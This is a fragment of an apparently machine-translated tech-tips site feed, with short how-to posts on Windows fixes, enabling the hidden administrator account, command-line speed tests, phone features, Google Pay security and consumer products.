designed oil heater has 13 heaters that will fit the room up to 20m². It allows users to adjust the capacity with 3 different levels, with a fan function to dissipate warmth evenly across the room to help the air in the room warmer. When using to ensure safety, suitable for children. Oil heater equipped with clothes drying rack. The design of the machine is neatly designed, with a wire-winding box to help keep the machine more convenient.   \nSpecifications:\nNumber of bars: 13 Accessories: Drying rack Capacity: 2.800W Moving wheel: Yes Voltage source: 220V / 50Hz Made in China Brand: Poland Warranty 12 months Above are 5 models of oil heaters from reputable brands such as Tiross, Sunhouse and FujiE. 5 models of this oil heater use very energy saving, outstanding durability, worth owning.\nncG1vNJzZmismaXArq3KnmWcp51kwbC8jG5km52jqcCmuMuipaBln565brTEmqueqqNitq95kWlocg%3D%3D\n","link":"/post/top-5-best-selling-oil-heaters-in-2019/","section":"post","tags":null,"title":"Top 5 best-selling oil heaters in 2019"},{"body":"Windows 8 laptop with Acer touch screen has been listed in the product list of Home Shopping Network (HSN). The product is offered for 999 USD, the price is not considered cheap.\n  Most of the specifications of the device are rated quite well with Intel Core i5-3317U (Ivy Bridge) processor with 1.7 GHz speed, 750 GB hard drive, DVD optical drive, about 2.5 thick. mm and weighs 2.45 kg. It has a 15.6-inch touch screen with touch-optimized technology that works on Windows 8.\nIn addition to Acer touchscreen laptops, users will also be waiting for some other members in the future, including the HP Specter XT TouchSmart with a 15.6-inch screen for 1920 x 1080 resolution. pixels, much higher than the 1366 x 768 pixel pixel density on the newly sold Acer computer.\nIn addition, HSN also offers a Gateway laptop (without a touch screen) for $ 699.95 and a 23-inch AIO Gateway with a touch screen price of $ 1199.95. These systems are all running Windows 8.\nncG1vNJzZmismaXArq3KnmWcp51kxKq6w6iurGVoYrmivNOop2agkah6tbTEZp2iqqOperW71JyfZquTp7KmuoyopWasmJp6tLTEpZ0%3D\n","link":"/post/windows-8-laptop-has-the-first-touch-screen-on-the-shelf/","section":"post","tags":null,"title":"Windows 8 laptop has the first touch screen on the shelf"},{"body":"So you should update these packages whenever you face various system related problems. However, you may often encounter error code 0x80240017 while trying to update or install Microsoft Visual C++ programs.\nNow let's check how you can handle error code 0x80240017.\n1. Quick fixes for Microsoft Visual C++ installation errors 0x80240017 Quick fixes for Microsoft Visual C++ installation errors 0x80240017 can be applied\nHere are some quick fixes for this problem:\nRestart the device : One of the simplest solutions is to restart your PC immediately when you get this error. Application Update : Some applications on your device may cause Microsoft Visual C++ installation error 0x80240017. So updating those software programs can help solve this problem. PC Cleanup : Sometimes, performing a simple drive cleanup can help get rid of the system issues that are causing this error. If none of them work, it's time to dig deeper into other solutions.\n\u0026nbsp;\n2. Enable the Windows Installer service Since this is an installation error, the main problem could come from the Windows Installer service. For example, the Windows Installer service can be disabled. So let's see how you can enable this service to solve the problem:\nStep 1: Press Win + R to open the Run command dialog box.\nStep 2: Type services.msc and press Enter to open the Services window .\nStep 3: Find the Windows Installer option and double-click it.\n Next, follow these steps to complete the process:\nStep 1: Click the Startup type drop-down menu and select Manual.\nStep 2: Click the Start button to activate the service.\nStep 3: Finally, click Apply \u0026gt; OK , then restart the device to save these changes.\n3. Re-register the Windows Installer service Re-registering the Windows Installer service may also help resolve the issue. So, check out how you can re-register the Windows Installer service via Command Prompt:\nStep 1: Press Win + R to open the Run command dialog box .\nStep 2: Type CMD and press Ctrl + Shift + Enter to open Command Prompt with admin rights.\nStep 3: Type the following command and press Enter to temporarily disable the Windows Installer service:\nmsiexec /unreg When the process is complete, re-register the Windows Installer service by following these steps:\nStep 1: Open Command Prompt according to the previous steps.\nStep 2: Type the following command and press Enter to re-register the Windows Installer service:\nmsiexec /regserver Wait for the process to complete and then reboot the device to save these changes.\n4. Install Microsoft Visual C++ Programs in Safe Mode You can also solve this problem by installing Microsoft Visual C++ Programs in Safe Mode. Here's how to do it:\nStep 1: Press Win + I to open System Settings.\nStep 2: Select Update \u0026amp; Security from the options.\nStep 3: Next, select the Recovery option on the left pane.\nStep 4: Click the Restart Now button in the Advanced Startup option .\n On the Recovery Environment window , navigate to Advanced options \u0026gt; Startup Settings and then click Restart. Finally, click the F4 key to boot your device in Safe Mode. From there, try to install Microsoft Visual C++ Programs and see if this resolves the issue.\n5. Use Microsoft Program Install and Uninstall troubleshooter Failure to install Microsoft Visual C++ can be caused by a corrupted registry key. In this case, the Microsoft Program Install and Uninstall troubleshooter can solve the problem.\nThe Microsoft Program Install and Uninstall troubleshooter will scan and repair corrupted registry keys. In addition, this tool will also help eliminate other problems that may interrupt your installation.\nHere is how you can use Microsoft Program Install and Uninstall troubleshooter to solve this problem:\nStep 1: Download the Program Install and Uninstall troubleshooter from the Microsoft website.\nStep 2: Open the troubleshooter and click the Next button to continue.\nStep 3: Select the Installing option .\n Step 4: Next, select Microsoft Visual C++ programs from the list of applications and then click Next. If you can't find these programs in the list, click the Not listed option and then search for the programs manually. Follow the steps on the screen to complete the process.\n6. Delete redundant files in temporary folder As you use your Windows device, the system regularly creates temporary files that hold information for certain tasks. When those tasks are complete, temporary files become redundant and consume disk space. In addition, these temporary files can cause various system problems like the one you are currently experiencing.\nSo you can solve this problem by deleting temporary files. Here's how to do it:\nStep 1: Press Win + R to open the Run command dialog box .\nStep 2: Type CMD and press Shift + Ctrl + Enter to open Command Prompt with admin rights.\nStep 3: Type the following command and press Enter to delete the temporary files:\ndel /q /f /s %temp%*  7. Repair corrupted system files In most cases, installation errors like this one are caused by corrupted system files. To solve the problem, you can repair or replace damaged system files with DISM and SFC tools.\n8. Device recovery  You can resolve most system problems using the Windows restore point tool. This feature handles Windows errors by undoing recent changes on the PC. Therefore, the tool can eliminate errors that are currently preventing you from installing Microsoft Visual C++ programs.\nIf you've created a restore point on your device, here's how you can use it to fix this problem.\nNext, go ahead and try downloading the Microsoft Visual C++ programs again.\nWhen Microsoft Visual C++ programs are missing or damaged, you need to update or reinstall these packages. Doing this will ensure that your device works smoothly. But if you are having trouble installing these programs, try any of the solutions mentioned in the article.\nncG1vNJzZmismaXArq3KnmWcp51khW7DwLKqZqyfYrOqxIymoJyqn6i8p8CMr6CsrZGheqR5yKeqrZmcoa61tc6nZJ6qoqS%2FbnzXcWdrbGBlfnh5zqdksKGemby4vw%3D%3D\n","link":"/post/8-ways-to-fix-microsoft-visual-c-installation-error-0x80240017-on-windows/","section":"post","tags":null,"title":"8 ways to fix Microsoft Visual C++ installation error 0x80240017 on Windows"},{"body":"In Windows 7, 8, 10 or Vista operating systems, Microsoft hides the Admin account to ensure that the system is not deeply interfered and affected by user settings.\nHowever, during the process you use, many required programs run under Admin. In the article below, Network Administrator will show you how to activate the hidden Admin account on Windows 7, 8 and Windows 10.\nStep 1: First open the Command Prompt under Admin. To do this, enter cmd in the Search box on the Start Menu. On the search results list, right-click Command Promt and select Run as administrator.\n  \nStep 2: To view all of your Windows accounts, enter the following command into the Command Prompt window and press Enter:\nnet user\n  Step 3: Next, activate the hidden Admin account. To do this, copy and paste the following command into the Command Prompt window and press Enter:\nnet user administrator / active: yes\n  Step 4: By default, the hidden Admin account is not set up for password protection, but if you wish, you can easily set a password for the hidden Admin account.\nTo do this, copy and paste the command below into the Command prompt:\nnet user administrator *\nYou will now be asked to enter the password for the Admin account. Your task is to enter the password you want to create and confirm the password.\n  Step 5: In addition, you can easily disable the Admin account by entering the following command into the Command Prompt window:\nnet user administrator / active: no\n  From now on the Admin account will be disabled (disabled) and not displayed on the login screen.\nStep 6: Just like activating an Admin account, you can easily activate a Guest account on your Windows computer. Just enter the command below into the Command Prompt window and press Enter:\nnet user guest / active: yes\nIf you want to disable the Guest account, use the following command:\nnet user guest / active: no\n  You can refer to more: How to switch to Vietnamese interface for Windows 7\n How to open and view photos on Windows 10?\n Small tips to help you master Windows Phone 8.1\n Good luck!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZpmTqba3rdOeZK2glWK1qrDDnqVmmZSitq95wJyaqK2eqXqwuoywoKecn6zAboOXamc%3D\n","link":"/post/how-to-activate-the-hidden-admin-account-on-windows-7-8-10/","section":"post","tags":null,"title":"How to activate the hidden Admin account on Windows 7/8/10"},{"body":"With iOS operating system, you can easily block a phone number or contact number on your device. Also you can filter iMessage from unknown senders and reports (report) to iMessage that is spam or spam messages. In the following article, Network Administrator will guide you how to block spam iMessage on iOS devices: iPhone, iPad and iPod Touch\n  1. Block contact numbers There are many ways to block a phone number or contact number:\n- On Phone application: If you are using the Phone application, in the Recents section (recently), find the phone number or contact you want to block, then click the i-icon in the circle. Scroll down to the bottom of the screen and click Block this Caller.\n- On FaceTime: If you are using FaceTime, click the i-shaped icon in the circle next to the phone number or contact you want to block. Scroll to the bottom corner of the screen, find and click Block this Caller .\n- On Messages: If you're using Messages, open the conversation, then click the i-shaped icon in the circle next to the phone number or contact you want to block. Scroll to the bottom corner of the screen, find and click Block this Caller .\nWhen blocking a phone number or contact, the other person can still leave a voicemail but you will not receive a notification. Also the person you blocked will not receive any calls or notifications saying they have been blocked.\n2. Manage the phone number and contact you blocked To see the phone numbers and contacts that you have blocked on the Phone app, FaceTime or Messages, follow the steps below:\n- On Phone application: Open the Settings app =\u0026gt; Phone =\u0026gt; Call Block \u0026amp; Identification.\n- On FaceTime: Access Settings =\u0026gt; FaceTime =\u0026gt; Blocked.\n- On Message: Access Settings =\u0026gt; Messages =\u0026gt; Blocked .\nFrom this screen you can add or unblock contacts or unblock phone numbers.\nTo add a contact, scroll down to the bottom of the Blocked list, click Add New , then select the contact you want to block.\nTo unblock any contact or phone number, on the Blocked list, click Edit in the top right corner, click the icon.  , then click Unblock.\n3. Filter iMessages from unknown senders You can filter iMessages from people you don't save contacts on contacts.\nTo filter iMessages, access the Settings =\u0026gt; Messages application , find and switch the Filter Unknown Senders option to ON .\n  On Message, you will see a new tab called Unknown Senders , but you do not receive notifications of these iMessages.\n  4. Report as Spam or spam messages on the Messages application   You can report the iMessages as spam or spam messages on the Messages application. If you receive iMessages from strangers and you do not save the number on your contacts, you will see the Report Junk link below the message. Click the link to forward the sender information and send that message to Apple.\n5. Email to Apple reports that it is spam or spam If you are not using iOS 8.3 or higher, you can send an email to imessage.spam@apple.com , including the following information:\n- Take a screenshot of a message on an iOS device.\nReaders can refer to how to take photos of iPhone and iPad phone screens here.\n- Email address or phone number sending messages to you on iMessage.\n- The date and time you received iMessage.\nRefer to some of the following articles: Instructions on how to take photos, record videos or selfie with Siri on iOS 10 Turn off these annoying features immediately on iOS 10 Enable Wi-Fi Calling on iOS 10 Good luck!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZpqcpLCsecimnKyrkZyybr%2FPmqRmp55itrG0zqecZqGglrFurc2dZKKon5l6tbvUnJ8%3D\n","link":"/post/how-to-block-imessage-spam-on-iphone-ipad-and-ipod-touch/","section":"post","tags":null,"title":"How to block iMessage spam on iPhone, iPad and iPod Touch"},{"body":"You can easily check your computer's Internet speed through the available speed test websites, but why not try something similar in a newer way like using the Command Line .\n  Note: If you are using Windows , please install Cygwin or Curl or Wget first . For Mac , you can use Curl or Wget .\nCheck the Internet connection speed by Curl This way is very simple. You just need to copy and paste into the following command:\ncurl -o / dev / null http://speedtest.sea01.softlayer.com/downloads/test100.zip\nThe first thing to note is that we are using a test file from Softlayer, so if your connection is really fast, you can use a larger file from Thinkbroadband to test results more accurately. The second is that in the above command line, '-o ' is the case of the lowercase letter O rather than the number 0 so you should be careful to avoid confusion. Finally, the file will be exported to / dev / null , meaning that it will automatically disappear without any intervention.\nCheck the Internet speed with Wget If you prefer to use Wget or have 'installed' it, the procedure is the same as above, just paste it into the command line as follows:\nwget -O / dev / null http://speedtest.sea01.softlayer.com/downloads/test100.zip\nNote that in this way we use -O, ie the capital letter o , as opposed to the above Curl method and the file will also be sent directly to null so we do not need to waste time deleting any files. Believe it.\nThe file is only 100MB in size, so if your connection is fast enough, you should find a larger file to download to get more accurate results.\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZpuYmrCsecinq56qnprBbr%2FPnpydZaeewal506GcZpuforqiusNmo6KmlQ%3D%3D\n","link":"/post/how-to-check-internet-speed-with-the-command-line/","section":"post","tags":null,"title":"How to check Internet speed with the Command Line"},{"body":"CH Play is a well-known Android software application store with dozens of different content. CH Play is available on Android devices around the world. But if you want to use CH Play on your computer, you need different emulator tools to be able to download CH Play. In this article, Software Tips will guide you on how to download and install CH Play on computers and laptops simply.\n  1. Download CH Play using BlueStacks To download and install CH Play to your computer, we need to use BlueStack tool to support Android emulation on Windows. BlueStack is an extremely modern and useful Android emulator, BlueStack is always updated to the latest Android versions, meaning that you will have the latest CH Play experience.\nYou can download it here: https://www.bluestacks.com/en/index.html\nStep 1: When you download the software to your computer, you need to start the software to install for the first time. Click Install Now to start.\n  Step 2: The software will automatically download the missing decompression package of the software and new Android versions.\n  Step 3: After downloading the necessary data, Blue Stack will automatically configure the configuration to fit your computer to bring the best experience.\n  Step 4: After the installation is complete you will return to the main interface of the software. Here you will see the Google Play Store , this is our CH Play.\n  Step 5: You proceed to launch CH Play and select Sign In to log in and use.\n  Step 6: You log in with your normal Gmail account.\n  Step 7: After logging in, you can use CH Play as on a phone device. The above is not missing any application or different from CH Play on SmartPhone.\n  2. Download CH Play using some other emulators Some other Android emulators on computers that we can use to replace theese BlueStack are:\nDroid4X Home: https://droid4x.cc/ Nox Player Homepage: https://vn.bignox.com/ Andy Homepage: https://www.andyroid.net/ Thus, in this article, Software Tips have shown you how to download CH Play to your computer and Laptop the fastest and most effective. Good luck!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZpyfrLutu8CdZJqmlGK2r7%2FTmqOlZZOderG4wLJkqKZdrry2voycpqaopamys3nLmqetp6BiwKq5z6Wc\n","link":"/post/how-to-download-and-install-ch-play-on-your-computer-laptop-simple/","section":"post","tags":null,"title":"How to download and install CH Play on your computer, laptop simple"},{"body":"Do you remember Gadgets on Windows screens? They are small tools on the computer screen that show the current CPU speed or clock, weather, or other small items.\nIntroduced to be used on Windows Vista, but killed on Windows 8, these tools are said to be no longer suitable for the time of the live tile interactive screen. In addition, these tools are very fragile and are a fragrant primer for hackers to access the computer. Later, Microsoft provided a patch to overcome this drawback.\nIf you are still using Windows 7, see the instructions for creating a gadget for Windows 7 here.\nWhat are gadgets? You have forgotten or simply have no idea of ​​Gadgets, this will be a brief explanation. With the advent of Windows Vista, Gadgets are small applications on desktop computers, as well as browser-based mini-applications commonly found in iGoogle and in the form of \"widgets\" on Mac OS X.\nWindows Vista and Windows 7 users can add gadgets to the sidebar and the right panel of the screen (hidden in Windows 7).\nWith gadgets, the screen can display a variety of information, from clock, current weather, to CPU speed and any RSS data you choose. All Gadget options are very useful for supporting work and are quite surprising when they are completely removed (instead of redesigning and better security).\nHowever, Windows 10 succeeded in combining Windows 8 with Windows 7, combining live tile with the Start menu and again making the screen more efficient. The live tiles on Windows 10 have a way of operating quite similar to gadgets, for example, live tile of the weather app brings similar or more detailed information than the weather gatget. But the problem is that these live tiles are not on the desktop, but we have to open the Start menu or Start screen to access these live tiles. So many users still miss the gadget and want to reinstall them even after they have switched to Windows 10.\nIf you are among those, use the features introduced by TipsMake.com below to install Gadget on Windows 10.\nWindows Desktop Gadgets Perhaps my favorite method is Windows Desktop Gadgets because it's simple and light. This solution is designed to work with multilingual compatible with Windows 8.x and Windows 10.\nDesktop Gadgets Installer does not come with any \"tail\", meaning that it does not force you to install any additional tools, add-ons or junk software. This is really a good idea if you want to install Gadget on Windows 10 and Windows 8 / 8.1.\n  Before activating, DesktopgadgetsRevived-2.0.exe needs to be extracted from the ZIP download file. After completing the installation, right-click the desktop, and select Gadgets to access the traditional utility of Windows Vista / 7.\n  You will see these gadgets added from Control Panel \u0026gt; Appearance and Personalization and can be placed on the desktop by holding and dragging the gadget to the desired location. This is really an alternative to the traditional gadget, so you can click on the tool icon on the corner of the screen to resize and install the gadget.\n  Gadgets are available in Windows Desktop Gadgets\nSimilarly, 8GadgetPack is also the original Windows Desktop Gadget restored for use with Windows 10 with similar options such as adjusting, dragging and removing gadgets.\n8GadgetPack 8GadgetPack is completely free and can be used for Windows 8.x and Windows 10.\nFirst, download and install 8GadgetPack. There are many options available with this tool, you can find and activate them by pressing the Windows + Q button and typing 8GadgetPack .\n  Now you can add, edit size Gadget or even uninstall this app if you feel dissatisfied.\nAdd Gadgets Both applications use the old Vista / Windows 7 method to add gadgets.\n  So first, right-click the desktop and select Gadgets to see the list of available gadgets. After that, all you need to do is double-click on your favorite gadget (or move them from the desktop to the desktop) to place them in the desired location with the small panel with 12 dots on the right on the screen. form.\nMoreover, the Tool tool is used to customize the gadget. For example, in the Weather gadget (weather), you can use this tool to set the location and unit of your preferred temperature.\nTo remove Gadget just click the X corner of the right corner of the gadget.\nModern Gadget with Rainmeter If the classic Gadget makes you feel bored, there is another option for you. It is Rainmeter tool to customize the Windows screen.\nRainmeter also has utilities like clock, hardware statistics, current weather and weather forecast, . but with a more unique style.\nRainmeter will open a new world of gadgets to install and refine gadgets that help improve work efficiency. You will be attracted to the strange and wonderful world of the self-created theme screen with information displayed everywhere when you want, which will make your digital life a little more interesting.\nReference: How to use Rainmeter Widget to create widgets for Windows 10\nWhat new Gadget application will you use? Gadget may still be added to Windows 10. This is great for anyone who wants to relive the peaceful days of Windows 7 and maximize productivity. For example, using a clock to set a foreign time zone may be invaluable when working with foreigners, or just to see the time of relatives living abroad before calling them. In addition, there are 7 useful gadgets for Windows that you should know.\nAll of these methods are worth a try. For me personally, I like Windows Desktop Gadgets by simple, easy installation.\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZqGeqMGiuMtmnpqcl5rBbrLOq2SwoZ6ZvLi%2FjGpn\n","link":"/post/how-to-install-gadget-for-windows-10/","section":"post","tags":null,"title":"How to install Gadget for Windows 10"},{"body":"A WPS file is a word processing document created in Microsoft Works. WPS files can be opened using Microsoft Word on Windows computers, a third-party WPS viewer on Mac OS X, or with an online file converter or file viewer website....\nMethod 2of 3:\nOpening WPS Files in Mac OS X  Double-click on the WPS file you want opened. Mac OS X will automatically open the file using a compatible viewer program installed on your computer. If the WPS file fails to open, proceed with the following steps to open the file using a third-party WPS viewer.   Open the Applications folder and select 'App Store.' This will launch the Apple App Store window.\n  Type 'file viewer' into the search box at the top right corner of App Store. This will display a list of free and paid file viewer apps that can open WPS files. An example of free, high-rated WPS file viewer apps you can use is the File Viewer by Sharpened Productions at https://itunes.apple.com/us/app/file-viewer/id495987613?mt=12\u0026amp;ls=1\n  Click on the file viewer app of your choice, then click on 'Install app.'\n  Follow the on-screen instructions to download and install the WPS viewer app on your computer.\n  Launch the WPS viewer app when installation is complete, then select the option to open the WPS file.\n Method 3of 3:\nUsing an Online File Viewer  Launch your Internet browser and navigate to your favorite search engine.\n  Search for a website that hosts an online WPS file viewer or file converter. Examples of search terms you can use are 'wps file converter' and 'wps file viewer.'\n  Navigate to the file viewer website of your choice. Examples of websites that offer online WPS file viewer or file conversion services are Zamzar, Online-Convert, FileMinx, and CloudConvert.\n  Follow the instructions displayed on the website to open the WPS file. In most cases, you'll be instructed to select the WPS file on your computer, as well as the format to which you want the file converted, such as DOC or PDF. Some online file viewer websites may have restrictions on file sizes. If the WPS file you want opened is too large, open the WPS file using Methods One or Two in this article to view the file in Windows or Mac OS X.   Kareem Winters Update 05 March 2020\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZqegmrtuw8%2BsZJ%2BhnJrA\n","link":"/post/how-to-open-wps-files/","section":"post","tags":null,"title":"How to Open WPS Files"},{"body":"To convert Word to PDF, we can use many different ways, such as using computer installation software Advanced Word to PDF Converter, Free Word To PDF, the service to convert Word to PDF online as SmallPDF , . Or you can immediately use the Word to PDF conversion feature available on Word tools.\nWith the Save As feature, you can convert Word files to PDF files easily without font errors. Especially when switching from Word to PDF right on Word will have the option to reduce the file size. Thus, we will not need to install PDF compression software such as Free PDF Compressor, FILEminimizer PDF or ilovepdf online conversion service, Convertio. The following article will guide you how to compress PDF files extracted from Word files, especially with many Word images, diagrams, .\nConvert PDF to Word in Mac OS X Instructions for editing PDF files in Word 2013 Simple way to convert Excel files to PDF How to compress PDF files without software Step 1:\nIn the Word file you want to convert to a PDF file, click on the Office icon and select Save As . Then choose PDF or XPS .\n  With versions of Word 2010 onwards , click the File item and select Export .\n  Then click on Create PDF / XPS button to proceed to convert Word file to PDF file.\n  Step 2:\nThe Publish dialog box as PDF or XPS appears. First you need to enter a new name for the PDF file if you want. Next in Optimized section there will be 2 options to optimize PDF file size. By default the conversion process will check Standard and the PDF file will be relatively large.\nTo reduce the size of PDF files after extracting from Word files, select the Minimum size option. Finally click the Publish button below to proceed with the conversion.\n  So, with a simple way, PDF files have been reduced in size after converting from Word files. This will make it easier to email PDF files. If users still have problems with PDF files when the capacity is too large, even exceeding the limit of sending emails, they can use the service of sending email too 3rd party capacity.\nSee more:\nHow to convert PDF files to Word simply, without font errors Top 5 quality PDF reading software Instructions for creating a PDF file from multiple image files on Windows I wish you all success!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZqqVmcKksYytn55lo57HpnnOn2SpnJZis6q4xKxknKeeq7KzwIyfqailXay8s7CMn6ClnaM%3D\n","link":"/post/how-to-reduce-the-size-of-pdf-files-convert-from-word-files/","section":"post","tags":null,"title":"How to reduce the size of PDF files convert from Word files"},{"body":"4G market launch promises to bring users with outstanding features, more special than previous 3G or 2G packages. 4G network access speed is much faster, coverage is also wider, giving us the exciting experience when using 4G service. And operators have quickly deployed 4G registration packages to users, with very simple registration. In the following article, we will guide you how to register for a 4G service package.\nHowever, to be able to use the 4G network, you need to check whether your device is 4G supported. If you do not know how to check, please read how to do in the article How to know if your smartphone supports 4G or not?\n1. Register for free Vinaphone 4G service: Vinaphone is planning to officially deploy 4G package. To be able to quickly receive that offer, please choose to register for 3G Vinaphone package. Readers can refer to some 3G packages to register for waiting for the official 4G Vinanphone package in the near future:\nPackage Price (VND) Register via message High-speed capacity Arising fee out of MAX package 70,000đ Compose MAX send 6058 600 MB Free MAXS 50,000d Compose MAX send 6058 600 MB Free MAX100 100,000 Compose MAX100 send Send MAX100 send 6058 1.2 GB Free MAX200 200,000 VND Compose MAX200 send 6058 3 GB Free M10 10,000 VND Create M10 send 6058 50 MB Free M25 25,000 VND Compose M25 send 6058 150 MB Free M50 50,000 VND Compose M50 send 6058 500 MB Free charge M120 120,000 VND Compose M120 to 6058 1.5 GB Free 2. How to register for 4G Mobifone package: For those who are using Mobifone network and register for Mobifone 4G, just access the application or VAS services to be able to access the Internet, listen to music, watch videos, .\nHowever, 4G Mobifone service is in the testing process, so it only applies to subscribers in Hanoi, Da Nang and Ho Chi Minh City. Readers can consult 4G Mobifone packages below:\n  Note to users:\nSubscribers are using 3G Mobifone packages or want to use lower price packages that can exchange 4G sim with 4G network access in 4G coverage area of ​​MobiFone Free on-net calling is not limited to calling minutes for each call for packages with voice calls. Free 30 packs of FB1 and YT1 for subscribers who register for 4G Mobifone. When registering successfully, subscribers can get free VAS services: TVPlay, mHDViet, Mobiclip and mMusic. The preferential period is 30 days. Subscribers with full data capacity can purchase additional data packages: Max15, Max25, Max35. Above is how to register for the 4G package experience with two Mobifone and Vinaphone networks. Since 4G coverage is still in trial, users can pre-register the above packages to try it out.\nI wish you all success!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZqqVnLa0wMSrZJ%2BnomKBqHnVoqWaqJiku6Z5k6BkpqeSnrOwusRmqp6qpp6wpg%3D%3D\n","link":"/post/how-to-register-for-4g-vinaphone-4g-mobifone-service/","section":"post","tags":null,"title":"How to register for 4G Vinaphone, 4G Mobifone service"},{"body":"In addition to the free messaging and calling features on the Mocha app, users can also watch game show shows, livestream video games, funny short videos to entertain or follow the movies that appeal to many. Different genres in two categories Movies and Videos.\nAnd you can share these videos or movies if you see good on Mocha application, you can share on social networking applications like Facebook, Zalo, Messenger, Gmail . to share with your friends. Instructions for sharing videos and sharing movies on Mocha via social networking applications you can see under this article.\nHow to change the chat wallpaper on Mocha How to sync phone contacts with Mocha How to send HD photos on Mocha How to share videos and share movies on Mocha via social networking applications Step 1: You can select short video clips in the Comedy section, or the latest livestream games, hot videos, or popular movies in the Video section to share with friends.\nWhen selecting the video, please click on the sharing icon as shown below, here you will be prompted to Send friends on Mocha or post to Interactive or share on Facebook , want to share on many applications More than that, please click Other Options .\n   Step 2: In the list of social networking applications that appear later, you can select Zalo, Viber, Messenger . In general, chat, messaging or social networking applications you can share with everyone .\nIf you want to add the app to the Mocha video sharing list, click the Add icon at the end, then add the application you want to share.\n   You can then share videos by posting to newsletters or sharing with many Messenger friends. You can also search the Movie section, select the episode you want to share with your friends.\n   Through the tutorial on sharing videos on Mocha in this article, you can share videos or good movies with friends in a convenient way instead of finding on Google before sharing them with friends.\nIf you have videos back when traveling or going out somewhere and want to share with friends via Mocha, you can upload videos to Mocha to share with friends. See instructions for downloading Mocha videos in the article How to post videos on Mocha.\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZquYlr%2BmedWim56no2Kur7CMpqavoZWoerC6jKamnKCRYsSqwMdmnZqblZe8sLeMppysq5WjtKa%2BjKCkmqGcYg%3D%3D\n","link":"/post/how-to-share-videos-and-movies-on-mocha-with-facebook-messenger-gmail/","section":"post","tags":null,"title":"How to share videos and movies on Mocha with Facebook, Messenger, Gmail ..."},{"body":"QuanTriMang - Did you know that in Word 2010 there is a basic feature that allows users to easily convert Table format data to Text? First, click anywhere in the table, and select the small icon at the top left corner as shown below:\n  Select the Layout tab and Convert to text:\n  The next window is displayed, you can select the display format on the text area. There are 3 default options Paragraph marks, Tabs and Semicolons, or other icons in Other:\n  And our results will look like this:\n  The following is a specific video tutorial:\nGood luck!\nncG1vNJzZmismaXArq3KnmWcp51ktq%2B%2F06usnKyZpLu0ecWoqWabn6PDpr7ToqWgZaSWr62xjJ%2Bmq6WRqXqquoywpqucXWd9cnyMoqWtp12psrnA\n","link":"/post/instructions-for-converting-table-format-in-word-2010-into-text/","section":"post","tags":null,"title":"Instructions for converting table format in Word 2010 into text"},{"body":"Payment apps are growing in popularity as they provide a convenient alternative to cash and credit cards. Unfortunately, this also becomes a route for the bad guys to steal your money.\nSo how secure is Google Pay and can it protect you against fraud?\nHow does Google Pay work?   To use Google Pay, you need to provide a debit or credit card. It is not possible to use the service without doing so. You can add as many cards as you want. Each card then becomes a viable payment method when you want to deposit or pay for something.\nThe service also has a feature that allows you to choose whether to have funds received in the app as a balance or withdraw to a linked bank account.\nGoogle Pay is increasingly popular for contactless payments in stores and restaurants. It uses Near Field Communication (NFC) and allows you to pay without revealing your card number.\n8 things you should know about Google Pay   Google Pay scores well in terms of security, but it doesn't offer buyer protection. If you're thinking of trying out the service, here's what you should know about Google Pay's privacy and security features.\n1. Google Pay hides your payment details Google Pay is potentially safer than using a debit or credit card. Payments made with the app are conducted using tokens called \"virtual card numbers\".\nYour actual card number is hidden throughout the transaction and this protects you from fraudulent merchants and security breaches.\nA breach of security can happen at any retailer; Therefore, any app that allows you to hide your payment details is worth considering using.\n2. Google Pay doesn't reveal your transactions Google Pay uses NFC for direct payments. This is considered more secure than WiFi as data is only available within a maximum range of 4cm.\nThis means that if someone wants to interfere in a transaction, you will immediately notice they are doing it.\n3. Google Pay is protected by your phone To use the Google Pay app, you must first unlock your phone. Depending on your security settings, this may require a PIN or biometric authentication like Face ID.\nThis is in contrast to a card, where your card can be used by anyone. You decide how your phone is unlocked, but you can't set up Google Pay on phones that don't have a lock screen. The PIN must also be entered separately for large transactions.\n4. Google Pay notifies you of suspicious payments Payment apps are growing in popularity, and anything that's popular is a target for cybercriminals. Many online scams today specifically target Google Pay.\nGoogle Pay uses Machine Learning technology to identify potential fraud. It also shows an alert whenever you send a payment to someone who is not in the contact list.\n5. Can delete Google Pay remotely If your phone is stolen and the thief is somehow able to unlock it, you can still protect your payment information.\nGoogle Pay is connected to your Google account and is therefore accessible using the Find My Device feature. This allows you to delete all data stored in the application remotely.\n6. Google Pay Doesn't Protect Buyers Google Pay does not protect buyers. If you use Google Pay to buy something and don't receive it, Google won't investigate or give you a refund.\nIf the Google Pay transaction involves a bank card, you may still be protected by your bank's fraud protection. But the app itself does not provide any support.\n7. Google Pay lets you not share data Some people avoid Google products due to privacy concerns, but Google Pay actually offers a high level of security compared to the alternatives.\nPrivacy settings are controlled by signing in to your Google account. Here, you can choose not to share your transaction history with advertisers.\n8. Google Pay can make transit easy If you use Google Pay to pay for transit tickets, the app can be used against you. A security researcher at Black Hat 2021 has proven that anyone can use a lost or stolen phone to buy transit tickets.\nGoogle Pay requires you to unlock your phone before making most purchases. However, you can set an automatic transit ticket purchase app by swiping your phone towards the PoS device. This allows the thief to use the app without knowing the PIN.\nIt's worth noting that this issue has only been identified as likely by security researchers.\nHow to use Google Pay safely   Google Pay is a secure app, but it's important to use it carefully.\nWhen you install Google Pay or any other payment app, you're essentially giving your phone access to your bank account. This makes it even more important to optimize your phone's security settings.\nGoogle Pay provides notifications after all transactions. It's important to check each transaction and report anything that looks suspicious.\nDon't use Google Pay to send money to strangers. Your bank may offer fraud protection to protect some transactions, but the app itself won't help you, if you're the victim of a scam.\nShould I use Google Pay? Google Pay is a secure app with useful security features. It is said to be more secure than using a credit or debit card to shop, as your information is kept private. It also alerts when you send payments to strangers.\nHowever, like most payment apps, Google Pay does not protect buyers. So it's important to be careful when deciding what to use it for.\nGoogle Pay e-wallet ncG1vNJzZmismaXArq3KnmWcp51ktrR5xqimoKSVYr2ixYysmJ%2BdXZa7pXnSnpquqpU%3D\n","link":"/post/is-google-pay-safe-and-secure/","section":"post","tags":null,"title":"Is Google Pay safe and secure?"},{"body":"HKEY_LOCAL_MACHINE, often abbreviated as HKLM, is one of several registry hives that make up the Windows Registry. This special Registry hive contains most configuration information for the software you have installed, as well as for the Windows operating system itself.\nIn addition to 